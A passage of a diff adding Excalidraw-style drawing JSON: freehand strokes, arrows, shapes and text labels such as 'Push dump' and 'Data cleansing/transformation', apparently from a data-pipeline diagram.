-12.790161427717154, + 39.393671826260196 + ], + [ + -13.813358728944733, + 39.393671826260196 + ], + [ + -13.813358728944733, + 38.882073175646504 + ], + [ + -13.813358728944733, + 36.32404089010307 + ], + [ + -13.813358728944733, + 33.25441971206468 + ], + [ + -13.301760078330947, + 29.16155244220519 + ], + [ + -12.27856277710356, + 26.091911747929345 + ], + [ + -12.27856277710356, + 23.53387946238586 + ], + [ + -11.766964126489963, + 21.99905423618856 + ], + [ + -11.766964126489963, + 24.045487871118304 + ], + [ + -11.255326443401149, + 26.091911747929345 + ], + [ + -11.255326443401149, + 28.13835514097785 + ], + [ + -11.255326443401149, + 29.16155244220519 + ], + [ + -11.255326443401149, + 30.18475950155133 + ], + [ + -11.255326443401149, + 30.696387426521294 + ], + [ + -11.255326443401149, + 29.673151092818884 + ], + [ + -11.255326443401149, + 29.16155244220519 + ], + [ + -11.255326443401149, + 26.60352015666175 + ], + [ + -11.255326443401149, + 25.580322855434417 + ], + [ + -11.255326443401149, + 25.06869493046445 + ], + [ + -10.232129142173957, + 26.60352015666175 + ], + [ + -9.720530491560167, + 27.626727216007843 + ], + [ + -9.720530491560167, + 28.13835514097785 + ], + [ + -9.208931840946375, + 28.64994403347274 + ], + [ + -9.208931840946375, + 29.673151092818884 + ], + [ + -8.697294157857757, + 30.18475950155133 + ], + [ + -8.697294157857757, + 30.696387426521294 + ], + [ + -8.697294157857757, + 28.13835514097785 + ], + [ + -9.208931840946375, + 25.06869493046445 + ], + [ + -9.208931840946375, + 20.975847176842468 + ], + [ + -9.720530491560167, + 19.95263035937757 + ], + [ + -9.720530491560167, + 18.417814891298974 + ], + [ + -9.720530491560167, + 19.95263035937757 + ], + [ + -9.720530491560167, + 23.53387946238586 + ], + [ + -9.720530491560167, + 27.626727216007843 + ], + [ + -9.720530491560167, + 31.207976319016183 + ], + [ + -9.720530491560167, + 32.742791787094724 + ], + [ + -9.720530491560167, + 33.25441971206468 + ], + [ + -9.720530491560167, + 32.742791787094724 + ], + [ + -9.720530491560167, + 32.23118337836228 + ], + [ + -9.720530491560167, + 28.13835514097785 + ], + [ + -7.674096856630371, + 22.51066264492096 + ], + [ + -6.139261872314365, + 18.929423300031427 + ], + [ + -5.116064571086978, + 16.88298966510168 + ], + [ + -6.139261872314365, + 17.90622599880409 + ], + [ + -8.18569550724416, + 19.44102195064512 + ], + [ + -9.208931840946375, + 19.95263035937757 + ], + [ + -9.720530491560167, + 20.46425828434753 + ], + [ + -10.74372779278736, + 20.975847176842468 + ], + [ + -11.766964126489963, + 20.975847176842468 + ], + [ + -13.301760078330947, + 20.975847176842468 + ], + [ + -14.836595062646952, + 20.975847176842468 + ], + [ + -17.394627348190536, + 20.975847176842468 + ], + [ + -17.394627348190536, + 20.46425828434753 + ], + [ + -17.394627348190536, + 19.95263035937757 + ], + [ + -16.371391014487934, + 18.929423300031427 + ], + [ + -15.859792363874337, + 17.39459807383408 + ], + [ + -15.348193713260741, + 17.39459807383408 + ], + [ + -14.836595062646952, + 16.371391014487983 + ], + [ + -14.324996412033355, + 16.371391014487983 + ], + [ + -13.813358728944733, + 15.859782605755585 + ], + [ + -13.813358728944733, + 15.859782605755585 + ] + ], + "lastCommittedPoint": null, + "simulatePressure": true, + "pressures": [] + }, + { + "type": "freedraw", + "version": 1183, + "versionNonce": 566375648, + "index": "c167l", + "isDeleted": false, + "id": "2fw4SOFrxatP5z2K4xRCA", + "fillStyle": "cross-hatch", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 10, + "angle": 0, + "x": 3121.8060017209564, + "y": 43.64759950901475, + "strokeColor": "#e67700", + "backgroundColor": "transparent", + "width": 32.74278202897606, + "height": 40.92851656869506, + "seed": 2009851336, + "groupIds": [ + "NRUqKx4dSwc2FuqcBZ8FC", + "nRfU_0DH1Le0YnoBlF2vN" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453356, + "link": null, + "locked": false, + "points": [ + [ + 0, + 0 + ], + [ + 0, + 0.5115986506136931 + ], + [ + 0, + 2.0464238768109917 + ], + [ + 0, + 4.092867269859544 + ], + [ + 0, + 6.650899555402984 + ], + [ + 0, + 9.208931840946425 + ], + [ + -0.5116376830888131, + 10.743727792787409 + ], + [ + -1.0232363337024095, + 12.278553018984754 + ], + [ + -1.0232363337024095, + 12.790161427717203 + ], + [ + -1.0232363337024095, + 13.301760078330897 + ], + [ + -0.5116376830888131, + 13.301760078330897 + ], + [ + 1.5347959518409826, + 13.301760078330897 + ], + [ + 5.116064571086785, + 13.301760078330897 + ], + [ + 7.162459173541556, + 13.301760078330897 + ], + [ + 7.67409685663037, + 13.301760078330897 + ], + [ + 7.67409685663037, + 12.278553018984754 + ], + [ + 7.67409685663037, + 10.232129142173765 + ], + [ + 7.67409685663037, + 4.60445616235448 + ], + [ + 7.67409685663037, + 1.0232070593460938 + ], + [ + 7.67409685663037, + -0.5116084087324007 + ], + [ + 7.67409685663037, + -1.534825226197299 + ], + [ + 7.67409685663037, + -0.5116084087324007 + ], + [ + 7.67409685663037, + 3.581239344889583 + ], + [ + 7.67409685663037, + 6.139271630432976 + ], + [ + 7.67409685663037, + 9.720520733441315 + ], + [ + 6.650860522927959, + 14.32498665391455 + ], + [ + 6.650860522927959, + 15.859802121993093 + ], + [ + 6.650860522927959, + 16.371400772606737 + ], + [ + 6.139261872314363, + 17.394617590071636 + ], + [ + 5.116064571086785, + 17.394617590071636 + ], + [ + 3.0696309361571816, + 17.394617590071636 + ], + [ + 1.5347959518409826, + 17.394617590071636 + ], + [ + 0.5115986506137896, + 17.394617590071636 + ], + [ + 0, + 17.394617590071636 + ], + [ + -0.5116376830888131, + 17.394617590071636 + ], + [ + -1.534834984316006, + 17.394617590071636 + ], + [ + -2.0464336349297954, + 17.394617590071636 + ], + [ + -2.5580322855433923, + 17.394617590071636 + ], + [ + -2.5580322855433923, + 16.371400772606737 + ], + [ + -2.5580322855433923, + 14.836585304528194 + ], + [ + -2.0464336349297954, + 9.208931840946425 + ], + [ + 1.023197301227386, + 4.60445616235448 + ], + [ + 3.581229586770778, + 2.0464238768109917 + ], + [ + 6.139261872314363, + -0.5116084087324007 + ], + [ + 6.650860522927959, + -1.0231973012273379 + ], + [ + 7.162459173541556, + -1.534825226197299 + ], + [ + 8.185695507244159, + -3.06964069427589 + ], + [ + 11.255326443401149, + -6.1392618723142185 + ], + [ + 12.790161427717152, + -7.674096856630323 + ], + [ + 14.836556030171925, + -10.232129142173765 + ], + [ + 17.906225998804132, + -12.278562777103511 + ], + [ + 19.441021950645112, + -13.813358728944543 + ], + [ + 20.46425828434752, + -14.836595062646952 + ], + [ + 22.510652886802298, + -16.371391014487983 + ], + [ + 24.0454878711183, + -17.906225998804086 + ], + [ + 25.068685172345685, + -18.929423300031424 + ], + [ + 25.580322855434304, + -19.44105122500138 + ], + [ + 27.115118807275483, + -19.952649875615073 + ], + [ + 27.626717457889082, + -20.975866693079926 + ], + [ + 28.13835514097789, + -20.975866693079926 + ], + [ + 28.13835514097789, + -21.487455585574864 + ], + [ + 28.64995379159149, + -21.487455585574864 + ], + [ + 28.64995379159149, + -21.999083510544825 + ], + [ + 29.161552442205085, + -21.999083510544825 + ], + [ + 29.673151092818873, + -23.022290569890966 + ], + [ + 30.184749743432665, + -23.533898978623416 + ], + [ + 30.184749743432665, + -23.533898978623416 + ] + ], + "lastCommittedPoint": null, + "simulatePressure": true, + "pressures": [] + }, + { + "type": "line", + "version": 2433, + "versionNonce": 426285280, + "index": "c167t", + "isDeleted": false, + "id": "1yzbif9uWiofgUbnZVuDC", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "x": 3162.906335045138, + "y": 12.860815099188926, + "strokeColor": "#000000", + "backgroundColor": "transparent", + "width": 77.07894753077424, + "height": 46.42022623105642, + "seed": 1071377608, + "groupIds": [ + "NRUqKx4dSwc2FuqcBZ8FC", + "nRfU_0DH1Le0YnoBlF2vN" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453356, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 1.70287635303284, + -3.799189527679027 + ], + [ + 10.204553912300405, + -9.466974567192539 + ], + [ + 14.654833432577236, + -8.553391706125115 + ], + [ + 14.153587401414882, + -11.82457068593551 + ], + [ + 16.678633033065903, + -15.878531728207355 + ], + [ + 20.62896097899718, + -18.059376214273936 + ], + [ + 25.649347447119116, + -18.230078225095408 + ], + [ + 27.910713170287796, + -16.665262216895524 + ], + [ + 28.436365517502324, + -21.2783792395785 + ], + [ + 31.61675876141427, + -24.184557646504487 + ], + [ + 37.24371897341109, + -25.996453133459166 + ], + [ + 43.15530470172342, + -25.720189289254737 + ], + [ + 45.96464472488976, + -23.858710169113344 + ], + [ + 47.90566927843471, + -20.239758892690695 + ], + [ + 53.37794583151014, + -21.46028922285522 + ], + [ + 57.74597073457294, + -20.69292055010937 + ], + [ + 61.880582362122524, + -18.230078225094637 + ], + [ + 65.19016632070394, + -13.61407954602003 + ], + [ + 66.33050787323978, + -8.05093575059147 + ], + [ + 66.75786398529546, + -4.991742390765879 + ], + [ + 64.78171021694307, + -1.5968820300419313 + ], + [ + 68.6637593240206, + -2.2942415098222213 + ], + [ + 73.6152848754567, + 0.8270935085534971 + ], + [ + 76.59952154634362, + 4.15316065268493 + ], + [ + 77.07894753077424, + 8.305564110648081 + ], + [ + 76.94789880514035, + 11.817460346243399 + ], + [ + 75.20601251115046, + 15.388327248924693 + ], + [ + 72.767371699564, + 18.872099836905253 + ], + [ + 69.27583937566213, + 20.42377309759726 + ], + [ + 21.217301324861808, + 20.07600080098423 + ] + ] + }, + { + "type": "arrow", + "version": 707, + "versionNonce": 379747552, + "index": "c168", + "isDeleted": false, + "id": "KtzTSCz3KDkACTQgbt-zP", + "fillStyle": "cross-hatch", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 3007.660417540302, + "y": -1442.5761725802486, + "strokeColor": "#9c36b5", + "backgroundColor": "#a5d8ff", + "width": 176.68788846519723, + "height": 1395.522516800563, + "seed": 1523648968, + "groupIds": [ + "nRfU_0DH1Le0YnoBlF2vN" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453356, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": "arrow", + "points": [ + [ + 0, + 0 + ], + [ + 160.5875229206469, + 155.86372529108635 + ], + [ + 176.68788846519723, + 1395.522516800563 + ] + ] + }, + { + "type": "arrow", + "version": 653, + "versionNonce": 452976864, + "index": "c168G", + "isDeleted": false, + "id": "VAimZIdzuedcyNsoEEvnU", + "fillStyle": "cross-hatch", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 3004.0539356583217, + "y": -947.3517911729541, + "strokeColor": "#9c36b5", + "backgroundColor": "#a5d8ff", + "width": 179.63053989087845, + "height": 900.4170304003693, + "seed": 1318883528, + "groupIds": [ + "nRfU_0DH1Le0YnoBlF2vN" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453356, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": "arrow", + "points": [ + [ + 0, + 0 + ], + [ + 166.89886621411094, + 102.9882177926794 + ], + [ + 179.63053989087845, + 900.4170304003693 + ] + ] + }, + { + "type": "arrow", + "version": 690, + "versionNonce": 1980810464, + "index": "c168V", + "isDeleted": false, + "id": "IZKUFRtnATEOBfndht9rQ", + "fillStyle": "cross-hatch", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2999.7439916510125, + "y": -467.8032700657295, + "strokeColor": "#9c36b5", + "backgroundColor": "#a5d8ff", + "width": 185.37713190062374, + "height": 415.7659319051797, + "seed": 1834956744, + "groupIds": [ + "nRfU_0DH1Le0YnoBlF2vN" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453356, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": "arrow", + "points": [ + [ + 0, + 0 + ], + [ + 166.51245744104185, + 66.24433478821902 + ], + [ + 185.37713190062374, + 415.7659319051797 + ] + ] + }, + { + "type": "arrow", + "version": 811, + "versionNonce": 90515680, + "index": "c168l", + "isDeleted": false, + "id": "ip6TTI8X23HA631-kSWVw", + "fillStyle": "cross-hatch", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 3172.8756346259734, + "y": -1806.9502453663645, + "strokeColor": "#9c36b5", + "backgroundColor": "#a5d8ff", + "width": 11.23557817078063, + "height": 1759.170525025101, + "seed": 266329800, + "groupIds": [ + "nRfU_0DH1Le0YnoBlF2vN" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453356, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": "arrow", + "points": [ + [ + 0, + 0 + ], + [ + -2.210162354027343, + 364.7302501082733 + ], + [ + 9.02541581675329, + 1759.170525025101 + ] + ] + }, + { + "type": "rectangle", + "version": 579, + "versionNonce": 1955400928, + "index": "c169", + "isDeleted": false, + "id": "gkIaZAQpGFLYXzDIxcFNH", + "fillStyle": "cross-hatch", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 3084.3433624048453, + "y": -322.60087711335086, + "strokeColor": "#9c36b5", + "backgroundColor": "#eebefa", + "width": 190.61842013020396, + "height": 166.41522040453623, + "seed": 1419582408, + "groupIds": [ + "nRfU_0DH1Le0YnoBlF2vN" + ], + "frameId": null, + "roundness": { + "type": 3 + }, + "boundElements": [ + { + "type": "text", + "id": "D5w6E8ik" + } + ], + "updated": 1720441453356, + "link": null, + "locked": false + }, + { + "type": "text", + "version": 597, + "versionNonce": 2098753760, + "index": "c169V", + "isDeleted": false, + "id": "D5w6E8ik", + "fillStyle": "cross-hatch", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 3113.6666639616465, + "y": -312.19992583806743, + "strokeColor": "#9c36b5", + "backgroundColor": "#ffc9c9", + "width": 131.97181701660156, + "height": 145.6133178539692, + "seed": 420897480, + "groupIds": [ + "nRfU_0DH1Le0YnoBlF2vN" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453356, + "link": null, + "locked": false, + "fontSize": 58.24532714158768, + "fontFamily": 1, + "text": "Push\ndump", + "rawText": "Push\ndump", + "textAlign": "center", + "verticalAlign": "middle", + "containerId": "gkIaZAQpGFLYXzDIxcFNH", + "originalText": "Push\ndump", + "autoResize": true, + "lineHeight": 1.25 + }, + { + "type": "ellipse", + "version": 1195, + "versionNonce": 647451872, + "index": "c16A", + "isDeleted": false, + "id": "uDZ3pgFOZPH_nkkISlsrY", + "fillStyle": "cross-hatch", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 0, + "x": 3161.70514281733, + "y": -430.50988363527676, + "strokeColor": "#9c36b5", + "backgroundColor": "#eebefa", + "width": 127.45973387078428, + "height": 133.132176323629, + "seed": 2063556040, + "groupIds": [ + "nRfU_0DH1Le0YnoBlF2vN" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [ + { + "type": "text", + "id": "wkvfPPgL" + } + ], + "updated": 1720441453356, + "link": null, + "locked": false + }, + { + "type": "text", + "version": 1061, + "versionNonce": 110737632, + "index": "c16B", + "isDeleted": false, + "id": "wkvfPPgL", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 0, + "x": 3204.6377520941173, + "y": -406.01312780974285, + "strokeColor": "#9c36b5", + "backgroundColor": "#ffc9c9", + "width": 41.46687316894531, + "height": 72.8066589269846, + "seed": 2111857864, + "groupIds": [ + "nRfU_0DH1Le0YnoBlF2vN" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453356, + "link": null, + "locked": false, + "fontSize": 58.24532714158768, + "fontFamily": 1, + "text": "2", + "rawText": "2", + "textAlign": "center", + "verticalAlign": "top", + "containerId": "uDZ3pgFOZPH_nkkISlsrY", + "originalText": "2", + "autoResize": true, + "lineHeight": 1.25 + }, + { + "type": "rectangle", + "version": 317, + "versionNonce": 11508960, + "index": "c1t81", + "isDeleted": false, + "id": "D3bzKNCSoKOPVUVTBFR0Z", + "fillStyle": "cross-hatch", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 3592.807727628077, + "y": -1073.7881999682595, + "strokeColor": "#e03131", + "backgroundColor": "#ffc9c9", + "width": 514.7163015626645, + "height": 329.39861716558875, + "seed": 1318079432, + "groupIds": [ + "UdjQhnTyQIepL3O_buKxr" + ], + "frameId": null, + "roundness": { + "type": 3 + }, + "boundElements": [ + { + "id": "i6_qCh6k6r5IJ2uMKC9xU", + "type": "arrow" + }, + { + "id": "RsDe7GvXPzcsetaGwkNgu", + "type": "arrow" + }, + { + "id": "aGCE9KRv-qKreBfRv9nEz", + "type": "arrow" + }, + { + "id": "3ZjOn7HHNeo9w5zwMxjs3", + "type": "arrow" + }, + { + "id": "fzAbO9qNV_amBk9ok9oL7", + "type": "arrow" + } + ], + "updated": 1720441453356, + "link": null, + "locked": false + }, + { + "type": "text", + "version": 1693, + "versionNonce": 743208160, + "index": "c1t82", + "isDeleted": false, + "id": "iDsCXlRS", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 3852.3362887189, + "y": -863.13967634394, + "strokeColor": "#000000", + "backgroundColor": "transparent", + "width": 228.2680601078948, + "height": 70.09216733407958, + "seed": 303666376, + "groupIds": [ + "GaeISmp8v7V6MDVy8yf5p", + "UdjQhnTyQIepL3O_buKxr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453356, + "link": null, + "locked": false, + "fontSize": 29.07106920296633, + "fontFamily": 1, + "text": "Data cleansing/\ntransformation", + "rawText": "Data cleansing/\ntransformation", + "textAlign": "center", + "verticalAlign": "top", + "containerId": null, + "originalText": "Data cleansing/\ntransformation", + "autoResize": true, + "lineHeight": 1.2055312937531648 + }, + { + "type": "freedraw", + "version": 2094, + "versionNonce": 1487591648, + "index": "c1t84", + "isDeleted": false, + "id": "pAFZXfH3K0Uzh58z_4iOD", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 3927.941093025927, + "y": -929.6098486309593, + "strokeColor": "#fcf1e5", + "backgroundColor": "transparent", + "width": 51.07936156776698, + "height": 48.96866803668462, + "seed": 1117502408, + "groupIds": [ + "Y1GMMQcTr_tjq4CNqZ5k4", + "GaeISmp8v7V6MDVy8yf5p", + "UdjQhnTyQIepL3O_buKxr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453356, + "link": null, + "locked": false, + "points": [ + [ + 0, + 0 + ], + [ + 1.2664112876001494, + -0.8442902952312419 + ], + [ + 4.221435372658539, + -1.6885805904625357 + ], + [ + 9.709282032916816, + -2.955007981560408 + ], + [ + 13.930717405575145, + -4.221435372658332 + ], + [ + 16.88574149063354, + -5.065725667889625 + ], + [ + 18.996459176962595, + -5.910015963120867 + ], + [ + 20.262870464562543, + -7.17644335421879 + ], + [ + 21.951451055025025, + -7.59857239833643 + ], + [ + 23.217894549620933, + -9.287161040547957 + ], + [ + 24.906475140083415, + -10.13145133577925 + ], + [ + 27.017192826412685, + -10.975733579261501 + ], + [ + 27.86146701814605, + -11.397878726877122 + ], + [ + 28.283604114012626, + -11.820007770994813 + ], + [ + 29.972184704475115, + -13.086451265590668 + ], + [ + 30.81645889620848, + -13.930725457323977 + ], + [ + 32.92717658253775, + -15.197168951919831 + ], + [ + 34.61575717300023, + -16.041443143653147 + ], + [ + 35.88220066759614, + -17.307886638249 + ], + [ + 35.88220066759614, + -17.73003178586467 + ], + [ + 36.726474859329294, + -17.73003178586467 + ], + [ + 36.726474859329294, + -18.15216082998231 + ], + [ + 36.30433776346272, + -17.307886638249 + ], + [ + 35.03789426886681, + -15.619314099535453 + ], + [ + 30.81645889620848, + -13.086451265590668 + ], + [ + 26.17288642768357, + -9.287161040547957 + ], + [ + 20.68503976742529, + -4.643580520273953 + ], + [ + 16.041435091904212, + -1.266419339348933 + ], + [ + 13.086443213841784, + 1.6885725387135448 + ], + [ + 11.397862623379298, + 3.3771450774270897 + ], + [ + 10.131451335779357, + 5.065733719638616 + ], + [ + 8.442870745316666, + 6.754290154854179 + ], + [ + 8.020733649450088, + 7.176451405967781 + ], + [ + 7.598564346587545, + 7.598580450085421 + ], + [ + 9.709282032916816, + 5.910007911371876 + ], + [ + 11.397862623379298, + 4.221435372658332 + ], + [ + 26.17288642768357, + -3.377137025678099 + ], + [ + 34.193620077133446, + -7.17644335421879 + ], + [ + 40.10363604025427, + -10.13145133577925 + ], + [ + 40.525773136121046, + -11.397878726877122 + ], + [ + 40.525773136121046, + -11.820007770994813 + ], + [ + 40.94791023198763, + -12.664306117975046 + ], + [ + 40.94791023198763, + -13.50859641320629 + ], + [ + 41.37004732785441, + -14.775023804304212 + ], + [ + 42.21435372658353, + -16.463604394766747 + ], + [ + 43.0586279183169, + -17.73003178586467 + ], + [ + 43.902934317046025, + -18.574322081095914 + ], + [ + 44.3250714129128, + -18.574322081095914 + ], + [ + 42.21435372658353, + -11.397878726877122 + ], + [ + 39.681498944387684, + -5.910015963120867 + ], + [ + 38.83719254565856, + -4.221435372658332 + ], + [ + 35.46006357172935, + 0.8442983469802842 + ], + [ + 30.39432180034169, + 7.598580450085421 + ], + [ + 27.017192826412685, + 12.242160970359427 + ], + [ + 25.75074933181678, + 13.508604464955278 + ], + [ + 24.484305837220877, + 14.775015752555221 + ], + [ + 23.640031645487717, + 16.463596343017755 + ], + [ + 23.217894549620933, + 16.463596343017755 + ], + [ + 23.217894549620933, + 15.619322151284445 + ], + [ + 24.906475140083415, + 14.35287865668859 + ], + [ + 31.660765294937598, + 9.709298136414587 + ], + [ + 37.570781258058624, + 6.3321530589874975 + ], + [ + 43.902934317046025, + 1.6885725387135448 + ], + [ + 46.013652003375284, + 0 + ], + [ + 46.013652003375284, + -0.42214514761562094 + ], + [ + 46.013652003375284, + -1.6885805904625357 + ], + [ + 46.435789099241866, + -2.110717686329166 + ], + [ + 46.435789099241866, + -2.955007981560408 + ], + [ + 46.85792619510844, + -3.377137025678099 + ], + [ + 47.70220038684181, + -3.7992982767917005 + ], + [ + 48.124369689704345, + -5.910015963120867 + ], + [ + 48.968643881437714, + -6.754298206603118 + ], + [ + 49.3907809773045, + -7.17644335421879 + ], + [ + 50.23508737603362, + -8.442870745316664 + ], + [ + 50.6572244719002, + -8.442870745316664 + ], + [ + 50.6572244719002, + -9.287161040547957 + ], + [ + 51.07936156776698, + -9.287161040547957 + ], + [ + 51.07936156776698, + -8.865015892932336 + ], + [ + 51.07936156776698, + -5.910015963120867 + ], + [ + 50.23508737603362, + -1.266419339348933 + ], + [ + 47.280063290975235, + 3.7992902250427103 + ], + [ + 44.3250714129128, + 8.865007841183344 + ], + [ + 40.94791023198763, + 11.820015822743752 + ], + [ + 36.30433776346272, + 15.619322151284445 + ], + [ + 34.193620077133446, + 18.152168881731303 + ], + [ + 32.50503948667097, + 19.418596272829173 + ], + [ + 31.23862819907102, + 20.685031715676086 + ], + [ + 29.972184704475115, + 21.529313959158394 + ], + [ + 29.550047608608537, + 22.795749402005303 + ], + [ + 28.70574120987921, + 24.062192896601157 + ], + [ + 28.70574120987921, + 24.906467088334473 + ], + [ + 27.86146701814605, + 25.328604184201097 + ], + [ + 27.43932992227947, + 26.17291058293032 + ], + [ + 27.43932992227947, + 27.017184774663637 + ], + [ + 27.43932992227947, + 27.439321870530264 + ], + [ + 27.43932992227947, + 27.861467018145884 + ], + [ + 27.43932992227947, + 28.70575731337718 + ], + [ + 27.43932992227947, + 29.55003955685943 + ], + [ + 28.283604114012626, + 29.55003955685943 + ], + [ + 28.283604114012626, + 30.394345955588708 + ], + [ + 27.86146701814605, + 29.1279024609928 + ], + [ + 27.43932992227947, + 27.017184774663637 + ], + [ + 26.17288642768357, + 24.484321940718853 + ], + [ + 25.3286122359502, + 21.951475210271994 + ], + [ + 24.484305837220877, + 20.262886568060466 + ], + [ + 24.0621687413543, + 19.418596272829173 + ], + [ + 23.217894549620933, + 18.996451125213554 + ], + [ + 22.795757453754355, + 18.152168881731303 + ], + [ + 22.373588150891813, + 17.730039837613607 + ], + [ + 21.107176863291873, + 16.041451195402136 + ], + [ + 20.68503976742529, + 15.619322151284445 + ], + [ + 20.68503976742529, + 15.197160900170841 + ], + [ + 20.68503976742529, + 14.775015752555221 + ], + [ + 19.418596272829383, + 14.35287865668859 + ], + [ + 19.418596272829383, + 13.930733509072917 + ], + [ + 18.152152778233482, + 12.664306117975046 + ], + [ + 17.7300156823669, + 12.664306117975046 + ], + [ + 17.307878586500117, + 12.664306117975046 + ], + [ + 16.88574149063354, + 12.242160970359427 + ], + [ + 18.152152778233482, + 10.55358843164588 + ], + [ + 24.0621687413543, + 6.754290154854179 + ], + [ + 29.550047608608537, + 3.3771450774270897 + ], + [ + 34.61575717300023, + 0.42213709586663023 + ], + [ + 35.88220066759614, + -0.42214514761562094 + ], + [ + 36.726474859329294, + -1.266419339348933 + ], + [ + 37.148611955195875, + -2.110717686329166 + ], + [ + 37.570781258058624, + -3.377137025678099 + ], + [ + 38.41505544979179, + -5.065725667889625 + ], + [ + 39.681498944387684, + -6.3321530589874975 + ], + [ + 40.525773136121046, + -7.59857239833643 + ], + [ + 41.37004732785441, + -8.442870745316664 + ], + [ + 42.63649082245031, + -9.709290084665597 + ], + [ + 43.902934317046025, + -10.13145133577925 + ], + [ + 44.3250714129128, + -11.397878726877122 + ], + [ + 45.16934560464596, + -13.086451265590668 + ], + [ + 45.16934560464596, + -13.50859641320629 + ], + [ + 45.16934560464596, + -13.930725457323977 + ], + [ + 45.59148270051274, + -13.930725457323977 + ], + [ + 45.59148270051274, + -14.35288670843758 + ], + [ + 45.59148270051274, + -15.619314099535453 + ], + [ + 45.59148270051274, + -16.463604394766747 + ], + [ + 45.59148270051274, + -17.307886638249 + ], + [ + 45.59148270051274, + -17.73003178586467 + ], + [ + 45.16934560464596, + -17.73003178586467 + ], + [ + 43.902934317046025, + -17.73003178586467 + ], + [ + 41.79221663071695, + -17.73003178586467 + ], + [ + 38.83719254565856, + -17.73003178586467 + ], + [ + 36.726474859329294, + -17.73003178586467 + ], + [ + 36.726474859329294, + -17.73003178586467 + ] + ], + "lastCommittedPoint": null, + "simulatePressure": true, + "pressures": [] + }, + { + "type": "freedraw", + "version": 1686, + "versionNonce": 865909984, + "index": "c1t85", + "isDeleted": false, + "id": "Nq05xV7ZSebrRBXvus27Y", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 3933.084235944995, + "y": -923.8338267704889, + "strokeColor": "#e6770011", + "backgroundColor": "transparent", + "width": 53.190079254096034, + "height": 51.92363575950013, + "seed": 239141576, + "groupIds": [ + "Y1GMMQcTr_tjq4CNqZ5k4", + "GaeISmp8v7V6MDVy8yf5p", + "UdjQhnTyQIepL3O_buKxr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453356, + "link": null, + "locked": false, + "points": [ + [ + 0, + 0 + ], + [ + 2.110717686329269, + -1.2664354428468627 + ], + [ + 5.065741771387658, + -2.5328628339447863 + ], + [ + 9.28717714404599, + -3.79929022504271 + ], + [ + 13.930749612570901, + -5.487870815505245 + ], + [ + 16.885741490633322, + -6.754298206603118 + ], + [ + 18.574322081096017, + -8.020725597701041 + ], + [ + 19.418596272829177, + -8.442870745316663 + ], + [ + 19.840765575691716, + -9.287144937049975 + ], + [ + 21.107176863291865, + -10.131443284030208 + ], + [ + 23.217894549620926, + -11.820023874492742 + ], + [ + 24.06220094835026, + -12.664306117975046 + ], + [ + 26.595055730545898, + -14.775023804304212 + ], + [ + 27.86146701814604, + -14.775023804304212 + ], + [ + 29.550047608608526, + -16.46359634301776 + ], + [ + 30.39435400733765, + -16.88574149063338 + ], + [ + 30.81649110320443, + -18.15217693348029 + ], + [ + 31.660765294937587, + -18.996459176962542 + ], + [ + 31.660765294937587, + -19.418604324578162 + ], + [ + 32.08290239080417, + -19.418604324578162 + ], + [ + 32.50507169366692, + -19.840733368695854 + ], + [ + 32.927208789533495, + -19.840733368695854 + ], + [ + 32.927208789533495, + -20.262894619809458 + ], + [ + 33.77148298126686, + -20.262894619809458 + ], + [ + 33.349345885400076, + -20.262894619809458 + ], + [ + 30.39435400733765, + -16.88574149063338 + ], + [ + 27.01719282641268, + -14.35287865668859 + ], + [ + 21.529313959158443, + -10.55358843164583 + ], + [ + 15.197160900170841, + -6.754298206603118 + ], + [ + 10.131451335779147, + -3.79929022504271 + ], + [ + 8.020733649450083, + -2.9549918780624265 + ], + [ + 5.487878867254237, + -1.6885725387135446 + ], + [ + 